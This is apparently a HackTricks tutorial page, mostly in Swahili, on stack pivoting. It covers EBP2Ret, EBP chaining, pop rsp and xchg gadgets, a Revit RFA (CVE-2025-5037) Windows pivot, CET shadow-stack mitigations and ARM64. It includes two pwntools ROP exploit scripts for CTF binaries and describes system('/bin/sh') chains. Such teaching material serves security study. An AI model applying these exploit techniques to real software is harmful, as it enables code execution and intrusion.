Stack Pivoting
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Habari za Msingi
Mbinu hii inatumia uwezo wa kudhibiti Base Pointer (EBP/RBP) ili kuunganisha utekelezaji wa kazi nyingi kwa kutumia kwa uangalifu frame pointer na mfululizo wa maagizo leave; ret.
Kumbuka, kwenye x86/x86-64 leave ni sawa na:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
Na kwa kuwa EBP/RBP iliyohifadhiwa iko kwenye stack kabla ya EIP/RIP iliyohifadhiwa, inawezekana kuidhibiti kwa kudhibiti stack.
Vidokezo
- Kwa 64-bit, badilisha EBP→RBP na ESP→RSP. Semantiki ni sawa.
- Baadhi ya compilers huondoa frame pointer (angalia “EBP might not be used”). Katika hali hiyo,
leavehuenda haionekani na teknik hii haitafanya kazi.
EBP2Ret
Teknik hii ni muhimu hasa unapoweza kubadilisha EBP/RBP iliyohifadhiwa lakini ukose njia ya moja kwa moja kubadilisha EIP/RIP. Inatumia tabia ya epilogue ya function.
Ikiwa, wakati wa utekelezaji wa fvuln, unaweza kuingiza fake EBP kwenye stack inayoonyesha eneo kwenye memory ambapo anwani ya shellcode/ROP chain yako iko (pia ongeza 8 bytes kwenye amd64 / 4 bytes kwenye x86 kwa ajili ya pop), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Wakati function inarudi, leave itaweka RSP kwenye eneo lililotengenezwa na pop rbp inayofuata inapunguza RSP, kwa ufanisi kuifanya ionekane kuelekea anwani iliyowekwa na attacker hapo. Kisha ret itatumia anwani hiyo.
Kumbuka kuwa unahitaji kujua 2 anwani: anwani ambapo ESP/RSP itakwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo ret itachukua.
Exploit Construction
Kwanza unahitaji kujua anwani ambapo unaweza kuandika data/anwani yoyote. RSP itakuwa ikielekea hapa na kuchukua ret ya kwanza.
Kisha, unahitaji kuchagua anwani itakayotumika na ret ambayo itahamasisha transfer execution. Unaweza kutumia:
- Anwani halali ya ONE_GADGET.
- Anwani ya
system()ikifuatiwa na return na vigezo vinavyofaa (kwenye x86:rettarget =&system, kisha 4 junk bytes, kisha&"/bin/sh"). - Anwani ya gadget ya
jmp esp;(ret2esp) ikifuatiwa na inline shellcode. - Mnyororo wa ROP uliowekwa katika memory inayoweza kuandikwa.
Kumbuka kwamba kabla ya yoyote ya anwani hizi katika eneo linalodhibitiwa, lazima kuwe na nafasi kwa ajili ya pop ebp/rbp kutoka leave (8B kwenye amd64, 4B kwenye x86). Unaweza kutumia bytes hizi kuweka EBP bandia ya pili na kudumisha udhibiti baada ya simu ya kwanza kurudi.
Off-By-One Exploit
Kuna utofauti unaotumika wakati unaweza kubadilisha tu biti yenye uzito mdogo ya saved EBP/RBP. Katika kesi kama hiyo, eneo la memory linalohifadhi anwani ya kuruka kwa ret lazima lishirikiane kwa bytes za mwanzo (tatu/tano) na EBP/RBP ya awali ili overwrite ya 1-byte iweze kuirekebisha. Kawaida biti ya chini (offset 0x00) inaongezeka ili kuruka kadri inavyowezekana ndani ya ukurasa ulio karibu/eneo lililo sawa.
Pia ni kawaida kutumia RET sled kwenye stack na kuweka ROP chain halisi mwishoni ili iwezekane zaidi kuwa RSP mpya itaonyesha ndani ya sled na ROP chain ya mwisho itatekelezwa.
EBP Chaining
Kwa kuweka anwani iliyodhibitiwa kwenye slot ya saved EBP ya stack na gadget ya leave; ret katika EIP/RIP, inawezekana kusogeza ESP/RSP kwenda kwenye anwani inayodhibitiwa na attacker.
Sasa RSP imedhibitiwa na agizo linalofuata ni ret. Weka kwenye memory inayodhibitiwa kitu kama:
&(next fake EBP)-> Inasomwa napop ebp/rbpkutokaleave.&system()-> Inaitwa naret.&(leave;ret)-> Baadasysteminapomalizika, inasogeza RSP kwenye next fake EBP na inaendelea.&("/bin/sh")-> Hoja kwasystem.
Kwa njia hii inawezekana kuunganisha fake EBP kadhaa ili kudhibiti mtiririko wa programu.
Hii ni kama ret2lib, lakini ngumu zaidi na inafaa tu katika edge-cases.
Zaidi ya hayo, hapa kuna mfano wa challenge unaotumia teknik hii pamoja na stack leak ili kupiga run function ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
vidokezo vya alignment vya amd64: System V ABI inahitaji stack alignment ya 16-byte katika call sites. Ikiwa chain yako inaita functions kama
system, ongeza alignment gadget (mfano,ret, ausub rsp, 8 ; ret) kabla ya call ili kudumisha alignment na kuepuka crashes zamovaps.
EBP huenda isitumike
Kama explained in this post, ikiwa binary imecompiled na maboresho fulani au kwa kuondolewa kwa frame-pointer, EBP/RBP never controls ESP/RSP. Kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP/RBP itashindwa kwa sababu prologue/epilogue hazirejeshi kutoka kwa frame pointer.
- Bila optimization / frame pointer inatumiwa:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Imeboreshwa / kielekezi cha fremu kimeachwa:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Kwenye amd64 mara nyingi utaona pop rbp ; ret badala ya leave ; ret, lakini ikiwa frame pointer imetupwa kabisa basi hakuna rbp-based epilogue ya kupitia.
Njia nyingine za kudhibiti RSP
pop rsp gadget
In this page you can find an example using this technique. Kwa changamoto hiyo ilihitajika kuita function yenye arguments 2 maalum, na kulikuwa na pop rsp gadget na kuna leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Angalia mbinu ya ret2esp hapa:
Kupata pivot gadgets kwa haraka
Tumia gadget finder unayopendelea kutafuta classic pivot primitives:
leave ; reton functions or in librariespop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oradd esp, <imm> ; reton x86)
Mifano:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Mbinu thabiti ya pivot inayotumiwa katika CTFs/exploits nyingi:
- Tumia overflow ndogo ya awali ili kuita
read/recvkwenye eneo kubwa linaloweza kuandikwa (mfano,.bss, heap, au mapped RW memory) na weka mnyororo kamili wa ROP hapo. - Rudi ndani ya pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) ili kusogeza RSP kwenda eneo hilo. - Endelea na mnyororo uliopangwa (mfano, leak libc, call
mprotect, kishareadshellcode, kisha ruka kwa hiyo).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Parser za upande wa mteja mara kwa mara hufanya destructor loops ambazo zinafanya wito wa njia isiyo ya moja kwa moja kwa function pointer inayotokana na field za object zinazosimamiwa na mshambuliaji. Ikiwa kila iteresheni inatoa wito mmoja tu wa indirect (mashine ya “one-gadget”), unaweza kubadilisha hii kuwa stack pivot thabiti na ROP entry.
Imegunduliwa katika Autodesk Revit RFA deserialization (CVE-2025-5037):
- Vitu vilivyotengenezwa vya aina
AStringhuweka pointer kwa baiti za mshambuliaji kwenye offset 0. - Destructor loop kwa ufanisi hutekeleza gadget moja kwa kila object:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Mbili pivots za vitendo:
- Windows 10 (32-bit heap addrs): gadget isiyopangwa sawa (“monster gadget”) inayojumuisha
8B E0→mov esp, eax, hatimayeret, ili kufanya pivot kutoka call primitive kwenda heap-based ROP chain. - Windows 11 (full 64-bit addrs): tumia vitu viwili kuendesha constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(hamisha rax ya asili ndani ya rbp) - Gadget 2:
leave ; ... ; ret(inageuka kuwamov rsp, rbp ; pop rbp ; ret), ikipivoting ndani ya buffer ya object ya kwanza, ambapo conventional ROP chain inafuata.
- Gadget 1:
Tips for Windows x64 after the pivot:
- Heshimu 0x20-byte shadow space na hakikisha 16-byte alignment kabla ya
callsites. Mara nyingi ni rahisi kuweka literals juu ya return address na kutumia gadget kamalea rcx, [rsp+0x20] ; call raxukifuata napop rax ; retili kupitisha stack addresses bila kuharibu control flow. - Non-ASLR helper modules (ikiwa zipo) hutoa stable gadget pools na imports kama
LoadLibraryW/GetProcAddressili kutatua kwa dynamic targets kamaucrtbase!system. - Kuunda missing gadgets kwa kutumia writable thunk: ikiwa mfululizo wenye uwezo unamalizika kwa
callkupitia writable function pointer (mfano, DLL import thunk au function pointer katika .data), andika pointer hiyo na hatua isiyo hatari ya hatua moja kamapop rax ; ret. Mfululizo kisha utatenda kana kwamba ulikuwa ulibaki naret(mfano,mov rdx, rsi ; mov rcx, rdi ; ret), ambayo ni muhimu kubeba Windows x64 arg registers bila kuharibu vingine.
Kwa ujenzi wa full chain na mifano ya gadget, angalia rejea hapa chini.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Modern x86 CPUs na OSes zinatumia kwa wingi CET Shadow Stack (SHSTK). Ukiwa SHSTK imelawanywa, ret inalinganisha return address kwenye normal stack na hardware-protected shadow stack; tofauti yoyote inaleta Control-Protection fault na kuua process. Kwa hivyo, techniques kama EBP2Ret/leave;ret-based pivots zitakatika mara tu ret ya kwanza itakapotekelezwa kutoka kwa pivoted stack.
- For background and deeper details see:
- Ukaguzi wa haraka kwenye Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notes for labs/CTF:
-
Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter
nousershstk, or selectively enabled via glibc tunables during startup (see references). Don’t disable mitigations on production targets. -
JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks
ret-based pivots. -
Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at
ret; developers opt-in via CETCOMPAT and related policies (see reference).
ARM64
Katika ARM64, prologue and epilogues za functions hazihifadhi wala kurejesha rejista ya SP kwenye stack. Zaidi ya hayo, maagizo ya RET hayarejeshi kwa anwani inayotajwa na SP, bali kwa anwani ndani ya x30.
Hivyo, kwa kawaida, kutumia tu epilogue hutaweza kudhibiti rejista SP kwa kubadilisha data ndani ya stack. Na hata ukifanikiwa kudhibiti SP bado utahitaji njia ya kudhibiti rejista x30.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa kudhibiti
SP(kwa kudhibiti rejista nyingine ambayo thamani yake inapitishwa kwaSPau kwa sababu fulaniSPinachukua anwani yake kutoka kwenye stack na tunayo overflow) kisha kutumia epilogue kuipakia rejista yax30kutoka kwaSPiliyodhibitiwa naRETkwa anwani hiyo.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off-by-one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Programu inatoa leak ya stack au pie na WWW ya qword. Kwanza pata stack leak na tumia WWW kurudi na kupata pie leak. Kisha tumia WWW kuunda loop ya “eternal” kwa kuabusu entries za
.fini_array+ kwa kupiga simu__libc_csu_fini(more info here). Kwa kuabusu hiki “eternal” write, imeandikwa ROP chain ndani ya .bss na mwishowe inaiita ikipivot kwa RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK,
nousershstk,/proc/$PID/statusflags, and enabling viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


